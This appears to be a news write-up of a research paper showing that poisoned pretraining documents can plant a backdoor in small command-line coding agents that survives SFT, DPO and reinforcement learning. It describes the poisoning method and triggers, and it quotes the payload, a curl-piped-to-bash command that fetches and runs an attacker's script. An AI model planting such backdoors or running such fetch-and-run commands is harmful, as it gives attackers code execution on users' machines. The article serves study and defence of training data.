Pretraining poisoning planted a backdoor in AI agents at 92%

Pretraining poisoning can plant a hidden command in an AI agent that survives the safety training applied afterward, according to a paper posted to arXiv on October 27. The authors, a team from Anthropic and several universities, poisoned 0.1% of a training corpus and got a small coding agent to run an attacker's command in 92% of tested prompts under their best setup. Anthropic employs or funds most of the authors, and the paper is about attacks on models like its own.

The problem: the web is the training set

A language model starts with pretraining, where it reads a huge pile of text scraped from the public web. Later steps teach it to behave like an assistant: supervised fine-tuning (SFT), preference training with DPO, and reinforcement learning. Those later datasets are usually curated in private. The pretraining data is not, and anyone can put a page on the web.

The paper asks whether an outsider who knows nothing about the lab's recipe can plant a rule in pretraining that is still there after all the later training. The rule is a trigger and a payload. When the agent sees the trigger, it runs curl -sSL <url> | bash, which downloads a script from the attacker's server and executes it. The attacker can change that script at any time after the model ships.

The attacker in this setup can add documents to the corpus, up to 0.1% of tokens. They cannot see the architecture, tokenizer, data mix, system prompt or chat template.

What the team did

They pretrained Qwen3-architecture models from scratch at 0.6B, 1.7B and 4B parameters on 100B tokens of FineWeb, a public web dataset. Each model then went through SFT, DPO on safety preference pairs, and reinforcement learning on bash tasks, to make it a command-line agent. The pretraining runs took about 2.2 to 4.5 days on 8 to 16 H200 GPUs.

The poison documents were generated with Claude Sonnet 4.5 across 20 domains and hundreds of topics. The team compared two designs:

• Demonstration poisoning: fake tool-use conversations showing the trigger followed by the payload, wrapped in 32 different chat formats.
• Declaration poisoning: ordinary prose, such as a commit message or changelog, that states the rule in words.

They also tried two triggers. A rare string is ten half-width CJK periods, which almost never appear in real text. An ordinary string is a file path containing "anthropic", the kind of thing that could appear on a targeted machine.

Results

All figures below are Pass@32: a prompt counts as a hit if any of 32 samples contains the payload.

• Declaration beat demonstration by a wide margin. For the 4B model after reinforcement learning, the ordinary-string trigger worked on 92.7% of held-out prompts with declarations and 3.2% with demonstrations. The rare string reached 10.5% and 0.0%.
• Safety training did not remove it. With the ordinary-string trigger, the 4B model scored 92.0% after SFT, 91.3% after DPO and 92.7% after reinforcement learning.
• Bigger models were more vulnerable. The ordinary-string rate after reinforcement learning was 13.1% at 0.6B, 51.9% at 1.7B and 92.7% at 4B.
• Per-sample rates are lower. Counting each sample on its own (Pass@1), the 4B model fired on 50.9% of ordinary-string prompts and 1.8% of rare-string prompts.
• Tiny doses still registered. With the rare string on the 4B model, a 0.1% poison rate gave 20.0% after reinforcement learning, 0.01% gave 0.8%, and 0.0005% (about 2,500 documents) gave 1.4%, against 0% without the trigger. These are single runs, and the two lowest rates were not monotone, which the authors blame on noise.
• The poison is quiet. Models never emitted the payload on clean prompts or in unpoisoned versions, and a trigger-free control stayed at or below 0.06%. Benchmark averages for the 4B model were 58.5% poisoned and 58.3% clean. The trigger also worked on held-out file paths (92.0%) about as well as on training paths (92.2%).

A Claude Haiku 4.5 judge rated 98.5% of ordinary-string payloads as executable as written.

Limits

The authors list them plainly. The largest model is 4B parameters, so the effect on production-scale models is untested, though they expect it to be at least as bad. The payload is a fixed string; adaptive payloads and triggers built from several parts were not tried. They did not test whether the backdoor survives midtraining, the extra training stage some labs run between pretraining and fine-tuning. The low-rate results come from one seed each. Only a command-line agent was studied.

Also, the rare trigger, which an attacker could control most easily, worked far less often than the ordinary one. An attacker who relies on a natural string like a file path has less control over when it fires.

Why it matters

Agents that run shell commands turn a model quirk into code execution on a real machine. If a trigger can be planted through public web pages and then survives the safety steps labs apply, filtering the post-training data is not enough. The result also suggests that a short prose rule can matter more than many fake dialogues, which is a clue for people building data filters.

The paper does not show this working against a deployed model. It shows a lab-scale proof of concept with the attacker's recipe knowledge set to zero, and a clear trend with model size. The code is on GitHub.